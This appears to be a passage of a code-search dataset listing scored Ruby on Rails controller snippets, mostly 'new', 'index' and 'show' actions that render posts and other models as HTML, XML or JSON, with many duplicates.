"docid": "43b62a4900dca560b98cccc865f4744f",
"score": "0.6297891",
"text": "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end",
"title": ""
},
{
"docid": "3572fbda94a000c7014287ffe1ca9118",
"score": "0.62923115",
"text": "def new\n @content_page = ContentPage.new :page_layout => \"default\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_page }\n end\n end",
"title": ""
},
{
"docid": "5fb9b909ce9f23980876f5cb151bb481",
"score": "0.62879634",
"text": "def new\n @page = Page.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "8affa93d4fb333df5883d0dee1c9b931",
"score": "0.62788916",
"text": "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end",
"title": ""
},
{
"docid": "8affa93d4fb333df5883d0dee1c9b931",
"score": "0.62788916",
"text": "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end",
"title": ""
},
{
"docid": "bd6df89f1ac8aa964675e38fdea9d5ba",
"score": "0.6265714",
"text": "def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end",
"title": ""
},
{
"docid": "fe71031c9d8ebe24d34e0b82ae9dbd02",
"score": "0.6262499",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"title": ""
},
{
"docid": "afa429c920e975a4eb1ec6f76c54ee7c",
"score": "0.62547827",
"text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"title": ""
},
{
"docid": "515bc237f677ccd38e6b26c4847fb58b",
"score": "0.6252425",
"text": "def new\n @title = t 'view.contents.new_title'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "923d3a5d9f48c861c6174324f5b86aa7",
"score": "0.623318",
"text": "def new\n @text_content = TextContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @text_content }\n end\n end",
"title": ""
},
{
"docid": "741bc32baa5592903d90ef2067b828a2",
"score": "0.62324905",
"text": "def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "8457885874d9fcefb4613464f1f902dc",
"score": "0.62321633",
"text": "def new\n @wiki = Wiki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wiki }\n end\n end",
"title": ""
},
{
"docid": "8457885874d9fcefb4613464f1f902dc",
"score": "0.62321633",
"text": "def new\n @wiki = Wiki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wiki }\n end\n end",
"title": ""
},
{
"docid": "1755a261e7b22661f9870e9af259d906",
"score": "0.6221326",
"text": "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end",
"title": ""
},
{
"docid": "1755a261e7b22661f9870e9af259d906",
"score": "0.6221326",
"text": "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end",
"title": ""
},
{
"docid": "c55caf3e5e4d95fa423f3c4d0e5f9298",
"score": "0.621129",
"text": "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end",
"title": ""
},
{
"docid": "507ef80e8643e134b18870b652873d3e",
"score": "0.6209519",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.62077355",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "e403df08a3159b946b95987146c4d678",
"score": "0.6207235",
"text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "f66ed07591e7e9cce0a682f489879cb1",
"score": "0.6195899",
"text": "def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "c8d74afd94d668fa52885eca320b1004",
"score": "0.6184668",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "ad7c8b31e00d0e2eae1eeaa5c4fd8f45",
"score": "0.6180911",
"text": "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @finish }\n end\n end",
"title": ""
},
{
"docid": "804696153bfac52dd33e695cc373868b",
"score": "0.61686546",
"text": "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal }\n end\n end",
"title": ""
},
{
"docid": "f63cb232c309ac177e7e9ae24ad918b7",
"score": "0.61646634",
"text": "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"title": ""
},
{
"docid": "6f36dc6f50f773cf0e614bcb18665001",
"score": "0.6162965",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end",
"title": ""
},
{
"docid": "1fe1f72067a32845ab1f38611f7a89c2",
"score": "0.6159224",
"text": "def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"title": ""
},
{
"docid": "51051c05cc30b96040b3e297ea0ed8cc",
"score": "0.61431575",
"text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "a738aa7e5fc3ac755a80d9f9af7ea1a0",
"score": "0.61389714",
"text": "def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"title": ""
},
{
"docid": "4c057facb769d788359182a527bc859a",
"score": "0.6136019",
"text": "def new\n @webextra = Webextra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webextra }\n end\n end",
"title": ""
},
{
"docid": "32d23e457194194ed523de156ee89693",
"score": "0.61247444",
"text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "f7061bcfc9108925fc33025957fe2cf6",
"score": "0.6120088",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end",
"title": ""
},
{
"docid": "8ed48268cd51a4e81047e9b0f48ad872",
"score": "0.6115566",
"text": "def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end",
"title": ""
},
{
"docid": "4c26716535714ddfdf977c381ac37855",
"score": "0.61146957",
"text": "def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"title": ""
},
{
"docid": "775c72de8061871750f8479f7d79c5fe",
"score": "0.6105585",
"text": "def new\n @page = @site.pages.new\n @page.parts << PagePart.new(:name => \"body\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "476a07cdc82bf078b4f51a960d0fff1f",
"score": "0.6094368",
"text": "def new\n \n @content = @corkboard.contents.new\n @content.build_document\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"title": ""
},
{
"docid": "b9762d7cd0b7e268477851160bdaea65",
"score": "0.6089535",
"text": "def new\n @artifact_note = ArtifactNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artifact_note }\n end\n end",
"title": ""
},
{
"docid": "d8940cd1f76b8383db665becb9ce961f",
"score": "0.6084759",
"text": "def new\n @content = Content.new\n respond_with @content\n end",
"title": ""
},
{
"docid": "18a9109527b028889fbb5957381436ce",
"score": "0.6077947",
"text": "def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @holder }\n end\n end",
"title": ""
},
{
"docid": "f295958ef3297cfbaae59c7e6da5e70a",
"score": "0.6076547",
"text": "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"title": ""
},
{
"docid": "de5af13be3fd7ef6c9326c2e2d6efc8c",
"score": "0.6072975",
"text": "def new\n @journalentry = Journalentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journalentry }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6070561",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6070561",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6070561",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "da898d6706d300e017f273757a49f765",
"score": "0.60705054",
"text": "def new\n @read = Read.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @read }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.6068942",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.6068942",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.6068942",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "87ad022337915e3df6577ead4746e4d2",
"score": "0.60638374",
"text": "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end",
"title": ""
},
{
"docid": "d10c1cf0c82f714ff00fe8485a1f0286",
"score": "0.6060259",
"text": "def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end",
"title": ""
},
{
"docid": "38683dfd9fe51995c0ecd8cc0c712ac3",
"score": "0.6059798",
"text": "def new\n @tiny_resource = TinyResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tiny_resource }\n end\n end",
"title": ""
},
{
"docid": "3399ead2d166a90fa168f629c7b7e453",
"score": "0.6053599",
"text": "def new\n @webpage = Webpage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webpage }\n end\n end",
"title": ""
},
{
"docid": "d615495fb7aff2920199cb1591c32466",
"score": "0.6053467",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"title": ""
},
{
"docid": "bf24dbc035bf4eb3c5cd1ea27f78074b",
"score": "0.6052977",
"text": "def new\n @todos = Todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todos }\n end\n end",
"title": ""
},
{
"docid": "d0e190a2537d0d72f560ca87f7d3a5ab",
"score": "0.60503954",
"text": "def new\n @archive = Archive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archive }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.60469186",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.60469186",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "7e38ae83cebd4303576755df8b69b976",
"score": "0.6040796",
"text": "def new\n @children = Children.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @children }\n end\n end",
"title": ""
},
{
"docid": "60622ec9842c27d3ced348497c6df48c",
"score": "0.6034489",
"text": "def new\n @journal_entry = JournalEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal_entry }\n end\n end",
"title": ""
},
{
"docid": "21a45db0041828210bf9275fe6809683",
"score": "0.6033702",
"text": "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.6030038",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "44db3e73824b1bb1c96133efd15476bc",
"score": "0.6029437",
"text": "def new\n @published_document = PublishedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @published_document }\n end\n end",
"title": ""
},
{
"docid": "755195dc5c97a07e7c39f78c5fd60d79",
"score": "0.60236466",
"text": "def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end",
"title": ""
},
{
"docid": "755195dc5c97a07e7c39f78c5fd60d79",
"score": "0.60236466",
"text": "def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end",
"title": ""
},
{
"docid": "21e981dd7b0e8dd935f0a255f0d3dc22",
"score": "0.6022757",
"text": "def new\n @template2 = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template2 }\n end\n end",
"title": ""
},
{
"docid": "ad672b1f57a45fe4fab322976ecf50d2",
"score": "0.60140276",
"text": "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"title": ""
},
{
"docid": "5634c8f78211f16dbd8fe294b83fd1cd",
"score": "0.600854",
"text": "def new \n @how_to = HowTo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @how_to }\n end\n end",
"title": ""
},
{
"docid": "4914917bc5cc659ff14c4f35856c3d39",
"score": "0.6004913",
"text": "def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @work }\n end\n end",
"title": ""
}
] |
b724ca343c6b7c4c4a8206661d6dab70
|
GET /posts GET /posts.json
|
[
{
"docid": "cc81a3db00fec919fc6c2c900fc18c23",
"score": "0.0",
"text": "def index\n @posts = Post.all.order(created_at: :desc)\n end",
"title": ""
}
] |
[
{
"docid": "915c0178f9e4347098d8a463c2cbe6b0",
"score": "0.78659517",
"text": "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"title": ""
},
{
"docid": "9e4bfaa87507d05255fbaeadc1ecb1d6",
"score": "0.74962544",
"text": "def index\n @posts = Post.all\n render json: @posts\n end",
"title": ""
},
{
"docid": "e732c729d91c0c1c2965f1f688905fef",
"score": "0.7495792",
"text": "def index\n @posts = Post.all\n\n render json: @posts\n end",
"title": ""
},
{
"docid": "e732c729d91c0c1c2965f1f688905fef",
"score": "0.7495792",
"text": "def index\n @posts = Post.all\n\n render json: @posts\n end",
"title": ""
},
{
"docid": "14c9761a649cab21f8f00b5fe776fcd0",
"score": "0.74899817",
"text": "def index\n @posts = Post.all\n render json: @posts\n end",
"title": ""
},
{
"docid": "5d33d74d82b515ef08b9cac447155832",
"score": "0.743243",
"text": "def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"title": ""
},
{
"docid": "8150ff0b8d418a0877e1a80d25b0171f",
"score": "0.7287362",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "8150ff0b8d418a0877e1a80d25b0171f",
"score": "0.7287362",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "8150ff0b8d418a0877e1a80d25b0171f",
"score": "0.7287362",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "e004fcf96a378e248a36cc900e8681c2",
"score": "0.725721",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"title": ""
},
{
"docid": "59f2ce78e63fc70f5c9e80fa5da20ebb",
"score": "0.7253427",
"text": "def index\n render json: { posts: Post.all }\n end",
"title": ""
},
{
"docid": "8431778f7b7b9771f0f0cb825a7bd788",
"score": "0.7248423",
"text": "def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "d5eccc30891b490ec40acf35b94edd0d",
"score": "0.7247239",
"text": "def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "aeb786c46443d3a66d9d370731c1b838",
"score": "0.7223018",
"text": "def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"title": ""
},
{
"docid": "b1d233c5b9cdc85ee717fe420066829b",
"score": "0.7205441",
"text": "def index\n @posts = Post.all\n \n render json: @posts\n end",
"title": ""
},
{
"docid": "fda3031ecb4f7eca04e797b25ff578ce",
"score": "0.7204395",
"text": "def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"title": ""
},
{
"docid": "ea74d2fe5d6a5074e7dfb3f91dca380c",
"score": "0.71704173",
"text": "def show\n post = Post.find(params[:id])\n render json: post\n end",
"title": ""
},
{
"docid": "cbfef57825d28450983814c208c424ec",
"score": "0.7169458",
"text": "def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"title": ""
},
{
"docid": "9635854f78e00267c25e94003f86bfb3",
"score": "0.7165757",
"text": "def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"title": ""
},
{
"docid": "e3c4ae91ea263e2b4ef7b28dc95c8c5c",
"score": "0.71213764",
"text": "def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"title": ""
},
{
"docid": "0233eecdc309e473c04b8b4ce3ca45b5",
"score": "0.7116395",
"text": "def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"title": ""
},
{
"docid": "d25387250c9348a46a4b442b99fb711b",
"score": "0.71087545",
"text": "def show\n \trender json: Post.find(params[:id])\n end",
"title": ""
},
{
"docid": "b9e351b1b1f206a61e5dfb59a0e74298",
"score": "0.7097115",
"text": "def index\n render json: Post.all\n end",
"title": ""
},
{
"docid": "d59046a4be5fcb4d90635c74a19f0835",
"score": "0.70715076",
"text": "def show\n\t \trender json: Post.find(params[:id])\n\t end",
"title": ""
},
{
"docid": "c36def3eeda4f34e4e4bd7e3e7e0905d",
"score": "0.70642126",
"text": "def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"title": ""
},
{
"docid": "b230d81461fa965aa542c3777928c608",
"score": "0.7049533",
"text": "def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "ad221611c85e1ec63d3385d6179e41a2",
"score": "0.70448613",
"text": "def show\n render json: Post.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "975ecb59b7e12ecf3ae9a7d899dc287b",
"score": "0.7031449",
"text": "def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"title": ""
},
{
"docid": "fa81a7aef1ab81d3e8310056a4c25cc6",
"score": "0.69798875",
"text": "def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"title": ""
},
{
"docid": "32eed510206c183d903ace527918238c",
"score": "0.6958531",
"text": "def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"title": ""
},
{
"docid": "3409e4032c2182e65960fdb61503feb1",
"score": "0.6946799",
"text": "def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"title": ""
},
{
"docid": "060bdb917a36369a9c584e7b4a7145c5",
"score": "0.69217",
"text": "def show\n render json: @post\n end",
"title": ""
},
{
"docid": "c6bb0112e401fb8de407d88b7f4079c8",
"score": "0.6918947",
"text": "def show\n render json: @post\n end",
"title": ""
},
{
"docid": "c6950dc55b72da8aaee77fb6fa598e7b",
"score": "0.68983066",
"text": "def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"title": ""
},
{
"docid": "b78a0ef03fceff714fc0fc22789c6b3a",
"score": "0.68937755",
"text": "def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "ffa715df54b8064924e7d9e4ead0d9a9",
"score": "0.6891344",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"title": ""
},
{
"docid": "9a899dd96e2e8062f6c6d28e52f19037",
"score": "0.6877329",
"text": "def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "96f19a01d12d5838154487e552fea472",
"score": "0.6877092",
"text": "def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
